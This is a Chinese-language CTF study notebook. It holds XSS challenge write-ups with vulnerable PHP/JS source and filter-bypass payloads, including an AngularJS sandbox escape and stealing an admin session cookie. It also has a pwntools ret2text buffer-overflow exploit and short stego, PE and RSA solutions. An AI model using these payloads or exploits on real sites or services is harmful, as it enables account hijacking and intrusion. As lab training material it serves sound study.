xss
XSS 漏洞简介
XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.
XSS的原理
攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。
诱使受害者打开受到攻击的服务器URL。
受害者在Web浏览器中打开URL,恶意脚本执行。
XSS的攻击方式
反射型xss;存储型xss;DOM型xss
一些常用的标签与属性
script标签;img标签;input标签;details标签;svg标签;select标签;iframe标签;video标签;veido标签;audio标签;body标签;textarea标签;keygen标签;marquee标签;isindex标签;
常见的基本过滤方法
空格过滤;引号过滤;括号过滤;关键词过滤(大小写绕过;双写绕过);字符串拼接绕过;编码绕过;过滤URL地址;单引号闭合;Javascript伪协议;httponly绕过;常规waf绕过( 标签语法替换;特殊符号干扰;提交方式更改;垃圾数据溢出;加密解密算法;结合其他漏洞绕过**)**
xss-labs
level 1

发现URL上的GET型传参,name就是payload攻击的点,查看源码发现完成第一关就会直接跳到第二关

先用简单的Upload试一下,<script>alert()</script>,直接通关

level 2
先查看源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
[点击并拖拽以移动]
跟第一关有点像,但value的值被双引号包裹,需要闭合双引号,同时闭合标签。
构造Upload:"> <script>alert()</script>,直接下一关

level 3
先查看源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
与上一关不同,这关是闭合单引号,发现htmlspecialchars函数,对<>(即大于小于号)进行html实体化,遇到实体化,我们可以使用事件来绕过,这里使用onfocus或onmouseover事件绕过:
' οnfοcus=javascript:alert() '

level 5
先查看源码
python
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
发现测试点keyword,尝试了前几关的代码,发现对事件on进行了过滤,将<script>转化为<scr_ipt>;onclick被转化为o_nclick;
这里我们可以使用a href标签构造payload:"/><a href=javascript:alert()>通关</a><"

点击通关即可

level 7
先查看一下源码
cpp
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
发现过滤了script,on,scr,data,herf;去查找了一下绕过方式,发现这里我们可以使用双拼写绕过,payload:"/><a hrehreff=javasscriptcript:alert()>通关</a><"
点击通关即可
level 8
先查看一下源码
php
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
发现,input标签添加了html实体转化函数还把双引号也给实体化了, 添加了大小写转化函数,还有过滤掉了src;data;onfocus;href;script;"(双引号);
这里可以使用href的隐藏属性-自动unicode解码

输入后点击友情链接就可以了

level 13
先查看源码
php
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
分析后发现新的注入点cook,再根据提示应该就是cookie绕过

谁便GET一个后F12检查代码,查看后发现cookie的请求头,再根据源码的分析,可以使用hackbar将cookie修改:user= " type="text" οnmοuseοver="alert(1)

PE结构
先了解一下什么是PE结构:PE文件的全称是Portable Executable,意为可移植的可执行文件,是微软Windows操作系统上广泛使用的程序文件格式(包括间接被执行的文件,如DLL)。PE文件被称为"可移植的"是因为在所有平台(如x86、Alpha、MIPS等)上实现的Windows NT及其后续版本(如Windows 95、Windows 2000、Windows XP、Windows Vista、Windows 7、Windows 8、Windows 10等)都使用相同的可执行文件格式。
这题主要考察判断PE文件
具体来说,PE指纹的识别过程通常包括以下几个步骤:(找的资料)
观察前两个字节:打开PE文件,以二进制方式(010editor)查看文件的前两个字节。在PE文件中,这两个字节通常是"MZ",这是DOS可执行文件的标志,用于兼容旧版DOS系统。虽然"MZ"并不是PE文件特有的,但它通常作为PE文件头部的开始。
查找PE标识:在文件偏移量为0x3C(即第60个字节)的位置,有一个DWORD值,它指向DOS块末尾的PE文件头的偏移量。根据这个偏移量,可以找到PE文件头的开始位置。在PE文件头的开始位置,紧接着"MZ"之后,通常会有"PE"或"PE\0\0"(即50 45 00 00)这样的字节序列,这是PE文件的真正标识。
验证PE头结构:一旦找到PE标识,就可以进一步验证PE文件头的结构是否符合PE格式的标准。PE文件头包含了关于文件的重要信息,如目标机器类型、节的数量、入口点地址等。
先用010打开

发现DOS头被修改了,只需要将原本的57改为4D就可以了,改完后直接运行程序就可得到flag

BUU XSS COURSE 1
打开链接后发现在吐槽框输入1,得到URL后打开得到1的回显

尝试输入一个简单的xss代码:
<script>alert(1)</script>

发现没有得到回显,尝试去使用一下xss平台

只发现了cookie值,去查看了一下大佬的wp,发现他们使用xss平台后得到的都含有一个admin.php

按照大佬的wp需要将admin的cookie值换为PHPSESSID=84c1823d0b235c1818412b128a1b5986
xianzhi_xss_1
这题打开后发现没有什么思路

题目给了题目源码,先查看一下源码
发现有很多个源码,分别对应每个文件,又去尝试点开每个文件的链接,也没有任何的信息

没招了,wp也查不到,崩溃了
XSS_闯关
第一关
打开链接,发现username注入点

我们先简单尝试一下,<script>alert()</script>

直接通关
第二关
尝试使用第一关的套路,发现没有回显,先查看一下页面源代码

发现username被函数escape进行url编码,这里需要绕过赋值的代码,使用';闭合前面的' 。构造payload:';alert(1);'

第三关
先尝试一下上一关payload,发现没有什么回显,查看一下页面源码
php
<html lang="zh"><head>
<meta charset="UTF-8">
<title>XSS配套测试平台</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<link rel="stylesheet" href="https://houtai.baidu.com/v2/csssdk">
<script type="text/javascript" src="main.js"></script>
<style>
html, body, .app-wrapper {
position: relative;
width: 100%;
height: 100%;
margin: 0;
padding: 0;
}
</style>
</head>
<body>
<div id="root" class="app-wrapper amis-scope"><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">
<div id="ccc">
</div>
</span></div></div></div></div></div></div>
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = '\';alert(1);'';
document.getElementById('ccc').innerHTML= "Welcome " + username;
</script>
</body></html>
发现与上一关又所不同的是多了一个\+',单引号'被转义,查了一下相当于''构成了闭合,构造payload:'';alert(1);'1

第四关
进入后发现,页面一直在进入一个死循环,先查看一下网页源代码
php
<script type="text/javascript">
var time = 10; //倒计时初始值
var jumpUrl; //存储跳转目标url
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href; //没有查询参数的时候跳转本页
}else{
jumpUrl = getQueryVariable('jumpUrl'); //调用查询参数
}
setTimeout(jump,1000,time); //1秒后启动倒计时
function jump(time){
if(time == 0){
location.href = jumpUrl; //倒计时结束跳转
}else{
time = time - 1 ; //秒数递减1
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`; //更新提示
setTimeout(jump,1000,time); //递归调用
}
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1); //获取查询参数
var vars = query.split("&"); //分割成键值对数组
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("="); //分割键值
if(pair[0] == variable) {
return pair[1];} //返回匹配值
}
return(false); //没有找到查询参数就返回false
}
</script>
发现将jumpurl作为URL跳转目标,这里可以使用JavaScript伪链接
jumpUrl=javascript:alert(1)

第五关
发现一个输入框,尝试输入发现得到的都是一个回显,先查看一下网页源代码
php
<html lang="zh"><head>
<meta charset="UTF-8">
<title>XSS配套测试平台</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<link rel="stylesheet" href="https://houtai.baidu.com/v2/csssdk">
<script type="text/javascript" src="main.js"></script>
<style>
html, body, .app-wrapper {
position: relative;
width: 100%;
height: 100%;
margin: 0;
padding: 0;
}
</style>
</head>
<body>
<div id="root" class="app-wrapper amis-scope"><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">
<div id="ccc">
自动提交表单
<form action="" method="POST" id="autoForm">
<input type="text" name="test">
<input type="submit">
</form>
</div>
</span></div></div></div></div></div></div>
<script type="text/javascript">
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>
</body></html>
发现代码中定义了两个变量,只需要绕过这两个变量就行了,payload:
?autosubmit=1&action=JavaScript:alert(1);//

第六关
先尝试了一下简单代码

发现直接回显在了页面上,先查看一下页面源代码
php
<html lang="zh"><head>
<meta charset="UTF-8">
<title>XSS配套测试平台</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<link rel="stylesheet" href="https://houtai.baidu.com/v2/csssdk">
<script type="text/javascript" src="main.js"></script>
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
<style>
html, body, .app-wrapper {
position: relative;
width: 100%;
height: 100%;
margin: 0;
padding: 0;
}
</style>
</head>
<body>
<div id="root" class="app-wrapper amis-scope" ng-app=""><div class="amis-routes-wrapper"><div class="a-Toast-wrap a-Toast-wrap--topRight"></div><div class="a-Page"><div class="a-Page-content"><div class="a-Page-main"><div class="a-Page-header"><h2 class="a-Page-title"><span class="a-TplField">XSS test platform</span></h2></div><div class="a-Page-body"><span class="a-TplField">welcome <script>alert()</script></span></div></div></div></div></div></div>
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
</script>
</body></html>
发现了一个js链接,进去后发现一大串,看不懂

去查找了一下资料,发现是xss模板注入(沙箱逃逸),先输入{{7*7}},返回49说明存在xss漏洞

直接Angular(版本号v1.4.0-v1.4.9)沙箱逃逸,payload如下:{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

神秘龙卷风
下载后发现是一个rar加密包,使用随波逐流进行强力爆破

爆破后密码为5463,打开后得到

查了一下发现是一种名为"Brainfuck"的计算机语言。找一个在线解码工具:Brainfuck Interpreter

得到flag
[NewStarCTF 公开赛赛道]ret2text
先用kali,checksec一下,发现只开启了NX,是64的amd文件,将其拖入IDA里面查看一下


跟进后发现调用函数的地址:0X400708

点击mian函数查看伪代码,发现scanf("%s",v4),栈溢出漏洞

双击v4发现溢出28个字节,去找了一下大佬的exp
python
from pwn import *
p = remote('node4.buuoj.cn', 27021)
bin_sh = 0x400708
payload = b'a'*0x28 + p64(bin_sh)
p.sendline(payload)
p.interactive()
在kali里运行exp.py后使用cat /flag就可以获得flag
LSB
下载后是一张图片,使用Stegsolve打开

将red,green,blue调为0,保存后是一张二维码

扫描后得到flag cumtctf{1sb_i4_s0_Ea4y},将其改为flag形式就行了
rsarsa
下载后得到题目,是简单的RSA

找一个简单的RSA脚本运行后得到flag
python
import gmpy2
e = 65537
p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
n = p*q
#密文
C = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034
d =gmpy2.invert(e,(p-1)*(q-1))
print(d)
#求明文
M = pow(C,d,n) #快速求幂取模运算
flag{5577446633554466577768879988}